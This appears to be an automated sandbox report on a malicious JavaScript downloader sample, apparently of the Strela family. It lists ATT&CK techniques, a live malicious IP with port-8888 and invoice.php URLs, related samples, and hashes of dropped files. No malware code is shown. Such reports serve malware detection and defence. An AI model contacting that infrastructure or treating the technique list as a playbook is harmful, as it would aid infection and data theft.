Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3132773231614716983.js	5%	Virustotal		Browse
3132773231614716983.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/8	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/s	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/(=	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/8	net.exe, 00000007.00000002.1494355666.0000023931526000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2708369880.000002322248D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1508081665.0000023222170000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1494355666.00000239314F8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1494355666.0000023931526000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1494355666.000002393154E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/s	net.exe, 00000007.00000002.1494355666.00000239314F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/(=	net.exe, 00000007.00000002.1494355666.00000239314F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587831
Start date and time:	2025-01-10 18:21:47 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3132773231614716983.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 23.209.209.135, 2.23.242.162, 199.232.214.172, 2.16.168.107, 2.16.168.105, 2.22.50.131, 2.22.50.144, 52.6.155.20, 172.202.163.200, 23.206.229.226, 23.203.104.175
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, www.bing.com, fs.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:22:46	API Interceptor	27x Sleep call for process: powershell.exe modified
12:22:50	API Interceptor	1x Sleep call for process: net.exe modified
12:22:52	API Interceptor	2x Sleep call for process: svchost.exe modified
12:23:00	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	229242754773566299.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17048156412338914445.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1474915939307712026.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7503204021179918537.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	9751253252198928098.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	11661205473059428114.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	270782763316448754.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	31202109622954930860.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	229242754773566299.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17048156412338914445.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1474915939307712026.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2486775641261320080.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	647915480318827205.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8022058739503598
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAI:RJE+Lfki1GjHwU/+vVhWqpR
MD5:	CFCF047C67456F00BADD281851AD4B4F
SHA1:	CF11B4A20B65AA25483BB28B1F8E8BB6316AD31F
SHA-256:	7FA1930CF367BE1CDCD3AE3D99E571FE2F497D1D80CAD1991F77EFF5654D7709
SHA-512:	D60F574FD4223666F100E34A57586172E9ABF3B444807FE5C583FF7B3AC3CD2289CAE0769C48A2B2D79AF37096AAD47A74B878111594AF4C15247498460D9C1B
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x2e513036, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9432912616757088
Encrypted:	false
SSDEEP:	1536:zSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:zazaHvxXy2V2UR
MD5:	70F642D0C2EA23CF055CA519184BD717
SHA1:	DFF376371EDD1575C12C92BB54C445453437AB99
SHA-256:	0031F20F3D2F221B7DEFA63DC8C2C9701AFEC02BFB745938D6C1575B86BFEC6D
SHA-512:	D820F49F6468F1F9DC23324850340E1710088D5E55CD5F4B51995A18F8E49A74CEEB6925755B0D5F8980E2BCBB02BC5B468672CC21E3C2BE878E1E4CB0881511
Malicious:	false
Preview:	.Q06... ...............X\...;...{......................0.x...... ...{s.4....}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{..................................e..4....}..................Cu&4....}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08156756998031205
Encrypted:	false
SSDEEP:	3:6yYemYkwdl/nqlFcl1ZUllllPVjP1ollGBnX/l/Tj/k7/t:Fzfk6l/qlFclQ/lZVjPe254
MD5:	F14AC16C6FE43D52E91230374CCF7AFC
SHA1:	321C57F39A9809CF97EA9332B4157BCC26409D5C
SHA-256:	D06008884C0606F0C568BD6F9E591961C10D7F99D883EC138833757208E9334B
SHA-512:	873C0939BDBF35B4270C4C88A2E9070926F7E63ED260B3FF28CA4D4395AAA138815C0E7B21AFF03D174956D28F939B8797A5052C7AA44CB521599E823F906413
Malicious:	false
Preview:	`........................................;...{..4....}... ...{s.......... ...{s.. ...{s.P.... ...{s..................Cu&4....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.167968614153451
Encrypted:	false
SSDEEP:	6:iO4B4XW+q2PCHhJ2nKuAl9OmbnIFUtSB4X6H5ZmwsB4X6HtVkwOCHhJ2nKuAl9Oe:7ZvBHAahFUtY5/uT56HAaSJ
MD5:	5572B236035DFB826C2EEFDACC59D940
SHA1:	41A681799923FABC76496FB35C0F804DE9791678
SHA-256:	B15CBA456534A70FC579AD666A8E8453D9510E65557A4AD996F70550FD341084
SHA-512:	75FB9382C6722186F91EE133C5E189F96B0BDD38387FE53A8BF1FF8846B3189F5B1C46D9C2F3CCE7C4791EDF7C94E48B99118A064E3035193BA042226F8B2FFC
Malicious:	false
Preview:	2025/01/10-12:22:52.082 7b8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:22:52.084 7b8 Recovering log #3.2025/01/10-12:22:52.084 7b8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.167968614153451
Encrypted:	false
SSDEEP:	6:iO4B4XW+q2PCHhJ2nKuAl9OmbnIFUtSB4X6H5ZmwsB4X6HtVkwOCHhJ2nKuAl9Oe:7ZvBHAahFUtY5/uT56HAaSJ
MD5:	5572B236035DFB826C2EEFDACC59D940
SHA1:	41A681799923FABC76496FB35C0F804DE9791678
SHA-256:	B15CBA456534A70FC579AD666A8E8453D9510E65557A4AD996F70550FD341084
SHA-512:	75FB9382C6722186F91EE133C5E189F96B0BDD38387FE53A8BF1FF8846B3189F5B1C46D9C2F3CCE7C4791EDF7C94E48B99118A064E3035193BA042226F8B2FFC
Malicious:	false
Preview:	2025/01/10-12:22:52.082 7b8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:22:52.084 7b8 Recovering log #3.2025/01/10-12:22:52.084 7b8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.111901846630088
Encrypted:	false
SSDEEP:	6:iO4B4X8+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSB4X9kmWZmwsB4XnVkwOCHhJ2nKuA:7q+vBHAa8uFUtmZ/VV56HAa8RJ
MD5:	AE0A753D0DD394A5777F6099401E9DEC
SHA1:	E4145CB83A8ABA54329EC469604D78FCD7F19EE4
SHA-256:	166E522943BCCF0ABED74A590B63498F5FAB23C37BFA0CF0EC0EE5B7B1A0BE85
SHA-512:	5016CCA189041A0110ACA4B3D8C6E865F8F4D2BD09808A3090B349511074CDF7CF6F65AADAB09ED4AB2BFB2E44E5756A9AF359A93EAD2FD5B3044FBD3C5C05E0
Malicious:	false
Preview:	2025/01/10-12:22:52.132 80c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:22:52.134 80c Recovering log #3.2025/01/10-12:22:52.135 80c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.111901846630088
Encrypted:	false
SSDEEP:	6:iO4B4X8+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSB4X9kmWZmwsB4XnVkwOCHhJ2nKuA:7q+vBHAa8uFUtmZ/VV56HAa8RJ
MD5:	AE0A753D0DD394A5777F6099401E9DEC
SHA1:	E4145CB83A8ABA54329EC469604D78FCD7F19EE4
SHA-256:	166E522943BCCF0ABED74A590B63498F5FAB23C37BFA0CF0EC0EE5B7B1A0BE85
SHA-512:	5016CCA189041A0110ACA4B3D8C6E865F8F4D2BD09808A3090B349511074CDF7CF6F65AADAB09ED4AB2BFB2E44E5756A9AF359A93EAD2FD5B3044FBD3C5C05E0
Malicious:	false
Preview:	2025/01/10-12:22:52.132 80c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:22:52.134 80c Recovering log #3.2025/01/10-12:22:52.135 80c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\067f49e7-8cef-4ad3-a9dd-11e364676402.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.960185613827414
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq9hsBdOg2H1caq3QYiub6P7E4T3y:Y2sRdstdMH03QYhbS7nby
MD5:	54DD15CA934454C2239697E411A98B86
SHA1:	589AD8A828A058FF2A84F32B2EF843C35E9B7B57
SHA-256:	AE5D5057F4DCD8374D65174540C004BCB6421F7FC11280FD6C82E69F0882696B
SHA-512:	97C9FD63D65E242A014C94D4E69ECA2257A3CA3906F952F5060AEEF39D78CBDC0D07CC3435A0709E8EB8ED29EA0AC668ADB7C22220DE68C4A6D4BA6287CDC28C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381089782803224","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":126231},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.960185613827414
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq9hsBdOg2H1caq3QYiub6P7E4T3y:Y2sRdstdMH03QYhbS7nby
MD5:	54DD15CA934454C2239697E411A98B86
SHA1:	589AD8A828A058FF2A84F32B2EF843C35E9B7B57
SHA-256:	AE5D5057F4DCD8374D65174540C004BCB6421F7FC11280FD6C82E69F0882696B
SHA-512:	97C9FD63D65E242A014C94D4E69ECA2257A3CA3906F952F5060AEEF39D78CBDC0D07CC3435A0709E8EB8ED29EA0AC668ADB7C22220DE68C4A6D4BA6287CDC28C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381089782803224","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":126231},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.231922053007076
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bkumw5:S43C4mS7fFi0KFYDjr3LWO3V3aw+bkux
MD5:	D6C59772125BA5C75E91EED8C8599112
SHA1:	2BA352A90A13B3108EB8D278ACB8491F551AE236
SHA-256:	2F6D93744D3BEF2F1349CDF0E3295074F5E2EB6F7ACF1283D7FC8E9EBDE546A6
SHA-512:	B9BAA693EF93C8C41806FD916EF1870AFC015C0F9F522D68ACAF52BFFB50C815AAF4557E99DF6ED97D31A764F214DAAFAE24EB58F0FF890F210F338A26FD14F9
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.140755693995463
Encrypted:	false
SSDEEP:	6:iO4B4XASN+q2PCHhJ2nKuAl9OmbzNMxIFUtSB4XbWZmwsB4XB3VkwOCHhJ2nKuAo:7ei+vBHAa8jFUtm/fV56HAa84J
MD5:	A304CDB0E99AB99F186A7DA6268E7B44
SHA1:	393F7950E18388A1066070CE42D6B048144FAF29
SHA-256:	4AF7AF4522A1DB133BC7A9FF124B7F1017928D5638C1AA8B877A4298937C17BC
SHA-512:	D4EF0B38F80AB47B4B60B67D8D5FE9F2835960F62BF6A24B7E9FD180FF8789EC6692C6BEBF1809BD11A615E9E45FFB996BCC7A834A28572F47FD32C0A79996E1
Malicious:	false
Preview:	2025/01/10-12:22:52.584 80c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:22:52.585 80c Recovering log #3.2025/01/10-12:22:52.586 80c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.140755693995463
Encrypted:	false
SSDEEP:	6:iO4B4XASN+q2PCHhJ2nKuAl9OmbzNMxIFUtSB4XbWZmwsB4XB3VkwOCHhJ2nKuAo:7ei+vBHAa8jFUtm/fV56HAa84J
MD5:	A304CDB0E99AB99F186A7DA6268E7B44
SHA1:	393F7950E18388A1066070CE42D6B048144FAF29
SHA-256:	4AF7AF4522A1DB133BC7A9FF124B7F1017928D5638C1AA8B877A4298937C17BC
SHA-512:	D4EF0B38F80AB47B4B60B67D8D5FE9F2835960F62BF6A24B7E9FD180FF8789EC6692C6BEBF1809BD11A615E9E45FFB996BCC7A834A28572F47FD32C0A79996E1
Malicious:	false
Preview:	2025/01/10-12:22:52.584 80c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:22:52.585 80c Recovering log #3.2025/01/10-12:22:52.586 80c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
